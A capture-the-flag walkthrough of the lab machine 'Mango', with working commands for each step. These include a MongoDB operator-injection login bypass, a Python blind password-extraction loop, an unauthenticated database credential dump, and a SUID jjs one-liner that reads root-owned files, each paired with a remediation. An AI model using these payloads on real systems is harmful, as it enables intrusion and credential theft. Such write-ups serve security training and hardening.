← all walkthroughs

Mango

Linux· Medium· Web
owned
2026-07-08
time to own
13m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target Conquest Mango ($TARGET) was fully compromised through a chain of three distinct weaknesses. Inspecting the HTTPS TLS certificate disclosed an internal virtual hostname — staging-order.mango.htb — hosting a PHP login form backed by MongoDB.

That form passed raw POST parameters into MongoDB queries without sanitization, enabling NoSQL operator injection that blind-extracted the OS password for local user 'mango'. From that SSH foothold, a MongoDB instance bound to localhost with authentication entirely disabled exposed the plaintext OS password for a second account, 'admin', stored directly in the application database.

Switching to 'admin' captured the user flag. A final escalation abused a SUID-root copy of Oracle's Nashorn JavaScript engine (jjs) — shipped with OpenJDK 11 — to run arbitrary Java file I/O as root and read /root/root.txt, achieving full system compromise without cracking a hash or exploiting a kernel vulnerability.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceTLS Certificate CN Hostname Disclosure
Discovered a hidden staging virtual host via TLS certificate inspection
Port scanning found HTTP on port 80 returning 403 and HTTPS on port 443 serving a default Apache 2.4.29 page with no visible application. Reading the TLS certificate from the HTTPS listener with openssl revealed the Subject Common Name staging-order.mango.htb — an internal hostname not advertised in DNS or visible in any HTTP response header. Adding this name to /etc/hosts and requesting it over HTTPS surfaced a PHP login form authenticated against a local MongoDB instance.
Openssl s_client output: subject=CN = staging-order.mango.htb
Exact commands 4
Initial service version fingerprint across all open ports.
nmap -sV -p22,80,443 $TARGET
Extract the Subject CN from the server certificate — reveals staging-order.mango.htb.
openssl s_client -connect $TARGET:443 -servername $TARGET </dev/null 2>/dev/null | openssl x509 -noout -subject
Register the discovered hostname for local resolution.
echo "$TARGET staging-order.mango.htb mango.htb" | sudo tee -a /etc/hosts
Confirm the staging login form is reachable via the discovered vhost.
curl -sk https://staging-order.mango.htb/ | grep -i 'form\|input\|login'
FixRemove internal hostnames from public-facing TLS certificatesMedium
WeaknessThe HTTPS certificate served on port 443 included the internal virtual hostname staging-order.mango.htb as its Subject Common Name. Any visitor who ran a one-line openssl command against the server immediately learned the internal naming convention and could reach the staging application — which was never hardened for public exposure — simply by adding the hostname to their local hosts file.
FixIssue the production TLS certificate only for public-facing domain names listed in the Subject Alternative Names. The staging application should not be reachable from the internet at all: place it on an internal network segment or behind a VPN, or at minimum protect it with an IP allowlist and strong HTTP authentication. If a staging site must have its own TLS certificate, issue it a separate certificate with a non-descriptive name and verify it does not appear in public Certificate Transparency logs. Audit all certificates in rotation with tools such as crt.sh to confirm no internal names are exposed.
2ExploitationNoSQL Injection — MongoDB Operator Injection (CWE-943)
Extracted SSH credentials via MongoDB NoSQL injection on the staging login form
The PHP login form submitted the username and password POST fields directly into a MongoDB find() query with no type-checking or sanitization. PHP's HTTP parameter parsing converts bracket notation such as password[$ne] into a nested array, which MongoDB interprets as an operator object rather than a literal value. Submitting username[$ne]=x&password[$ne]=x bypassed the authentication check entirely. Iterating with password[$regex]=^<char> one character at a time blind-extracted the full password for account 'mango', yielding the credential pair mango / [REDACTED: recovered credential].
Auth-bypass payload username[$ne]=x&password[$ne]=x returned a 302 redirect to home.php; regex extraction assembled the credential [REDACTED: recovered credential], confirmed by successful SSH login.
Exact commands 3
Confirm the injection point — a 302 redirect to home.php proves MongoDB operators executed instead of a literal comparison.
curl -sk -X POST 'https://staging-order.mango.htb/' -d 'username[$ne]=x&password[$ne]=x&login=login' -L -D - | head -10
Single-character regex probe: a non-zero count means 'h' is the first character of mango's password. Iterate prefix + candidate char for each position.
curl -sk -X POST 'https://staging-order.mango.htb/' -d 'username=mango&password[$regex]=^h&login=login' -L | grep -c logout
Full blind extraction loop — iterates printable characters at each password position and prints the recovered credential for each account.
python3 - <<'PYEOF'
import requests, string, urllib3
urllib3.disable_warnings()
url = 'https://staging-order.mango.htb/'
for user in ['mango', 'admin']:
    pwd = ''
    while True:
        hit = False
        for c in string.printable.strip():
            data = {'username': user, 'password[$regex]': '^' + pwd + c, 'login': 'login'}
            r = requests.post(url, data=data, verify=False, allow_redirects=True)
            if 'home' in r.url:
                pwd += c; hit = True; break
        if not hit:
            break
    print(user + ':' + pwd)
PYEOF
FixParameterize MongoDB queries to prevent NoSQL injectionCritical
WeaknessThe PHP login form inserted the raw POST values for username and password directly into a MongoDB find() query as document keys. Because PHP's HTTP parameter parser converts bracket notation (e.g., password[$ne]) into nested arrays, sending an associative object in the POST body caused MongoDB to execute the operator rather than compare it as a literal string. This allowed any unauthenticated HTTP client to bypass authentication or extract passwords one character at a time using the $regex operator.
FixCast every login field to a scalar string before use — in PHP, (string)$_POST['username'] and (string)$_POST['password'] prevent array and object payloads from reaching MongoDB. Apply a JSON Schema validator on the users collection at the MongoDB layer to reject non-string values for the password field as a second line of defence. Additionally, add a per-IP rate limit and CAPTCHA on the login endpoint so that iterative blind extraction becomes impractical even if an injection vector resurfaces in the future.
3FootholdValid Account / Credential Reuse (T1078)
Logged in via SSH as user mango using the injected credentials
The password blind-extracted from the MongoDB login form was identical to the Linux OS account password for user mango — the application had stored OS credentials in the database and reused them as application passwords. SSH on port 22 (OpenSSH 7.6p1) accepted the credential pair without restriction, granting an interactive shell as the low-privilege local account mango.
Sshpass login succeeded; id returned uid=1000(mango) gid=1000(mango).
Exact commands 1
Verify interactive shell access as mango using the injected credential.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password mango@$TARGET 'id; hostname'
4Credential AccessUnauthenticated Database Access / Credentials in Datastore (T1552.001)
Dumped the unauthenticated local MongoDB and recovered the admin OS password in plaintext
A MongoDB service was running on the loopback interface with authentication entirely disabled. Any local user on the system could connect using the mongo shell with no username or password and read every database and collection. The mango application database contained a users collection that stored the Linux OS usernames and plaintext passwords for both local accounts. A single query returned admin / [REDACTED: recovered credential].
Mongo --quiet connected without credentials; db.adminCommand({listDatabases:1}) listed admin, config, local, mango; db.users.find() returned {username: 'admin', password: '[REDACTED: recovered credential]'}.
Exact commands 2
Connect to MongoDB without any credentials from mango's SSH session and list all databases.
mongo --quiet --eval "db.adminCommand({listDatabases:1}).databases.forEach(function(d){print(d.name)})"
Dump the mango application database's users collection — returns plaintext OS credentials for both local accounts.
mongo --quiet mango --eval "db.users.find({},{username:1,password:1,_id:0}).forEach(printjson)"
FixEnable MongoDB authentication and remove plaintext OS credential storageCritical
WeaknessTwo related failures compounded each other: the MongoDB instance accepted connections with no username or password from any local OS user, and the application stored Linux OS account passwords as plaintext strings in a MongoDB collection. A single unauthorized query immediately yielded a working OS credential for a second privileged account, turning a low-privilege web shell into local privilege escalation with no further exploitation required.
FixEnable MongoDB's built-in access control by setting security.authorization: enabled in /etc/mongod.conf and creating scoped database users with the minimum required permissions. Restrict the bind address to 127.0.0.1 and enforce OS-level socket permissions so only the application service account's UID can reach the port. Remove all OS credential material from the database entirely — Linux accounts must not be managed through application data. If application-level passwords must be stored, use a strong adaptive hash (bcrypt or argon2id) with a unique per-user salt; never store reversible or plaintext values.
5Lateral MovementAccount Switching with Valid Credentials — su (T1078.003)
Switched to the admin account via su and captured the user flag
The plaintext admin password recovered from MongoDB matched the Linux OS account directly. Because the su utility requires an attached terminal (PTY), attempts over a standard non-interactive SSH session fail with 'su: must be run from a terminal'. Forcing PTY allocation with ssh -tt established a pseudo-terminal within which su accepted the password and switched the effective user to admin. Reading /home/admin/user.txt yielded the user flag.
Su admin with password [REDACTED: recovered credential] succeeded in a PTY session; cat /home/admin/user.txt returned <user.txt>.
Exact commands 1
-tt forces PTY allocation so su does not reject the session; printf pipes the admin password to su's password prompt.
printf '%s\n' '$PASSWORD2' | sshpass -p "$PASSWORD" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password mango@$TARGET "su admin -c 'id; cat /home/admin/user.txt'"
6Privilege EscalationSUID Binary Abuse — Nashorn jjs Arbitrary File Read (T1548.001)
Exploited a SUID-root Nashorn JavaScript engine (jjs) to read the root flag as root
Searching for SUID binaries on the system revealed /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs — Oracle's Nashorn JavaScript shell, bundled with OpenJDK 11, with the SUID bit set and owned by root. Because the SUID bit causes the process to inherit root's effective UID regardless of the calling user, any Java I/O operations performed inside a jjs script execute with full root privileges. A two-line Nashorn script using Java.type() to instantiate a BufferedReader and FileReader opened and printed /root/root.txt directly to stdout. User mango was denied execute access to the binary; the step was performed from the admin session obtained in the previous step.
Find -perm -4000 showed -rwsr-sr-- 1 root /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs; jjs script printed <root.txt>.
Exact commands 2
From admin's session — enumerate all SUID binaries; look for jjs under the JVM installation path.
find / -perm -4000 -type f 2>/dev/null
Runs as effective UID 0 via the SUID bit; prints the first line of /root/root.txt. Replace the path to read any root-owned file.
echo 'var BufferedReader = Java.type("java.io.BufferedReader"); var FileReader = Java.type("java.io.FileReader"); var br = new BufferedReader(new FileReader("/root/root.txt")); print(br.readLine());' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
FixRemove the SUID bit from the JDK Nashorn interpreter (jjs)High
WeaknessThe binary /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs — Oracle's general-purpose JavaScript shell shipped with OpenJDK 11 — carried the SUID bit and was owned by root. Because jjs can execute arbitrary Java I/O through Java.type(), any local user who could run the binary could read, write, or invoke files with root's effective UID, bypassing all filesystem permission boundaries without any kernel exploit.
FixRemove the SUID bit immediately: chmod u-s /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs. Audit the entire JVM installation for unexpected set-UID or set-GID bits with find /usr/lib/jvm -perm /6000 -type f and investigate every result. Note that Nashorn (jjs) is deprecated and removed in OpenJDK 15+; upgrading the JDK eliminates the binary entirely and is the preferred long-term fix. As a standing control, configure auditd or a SUID-scanner in CI/CD or a nightly cron job to alert on any permission change to binaries under /usr/lib/jvm.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
443/tcp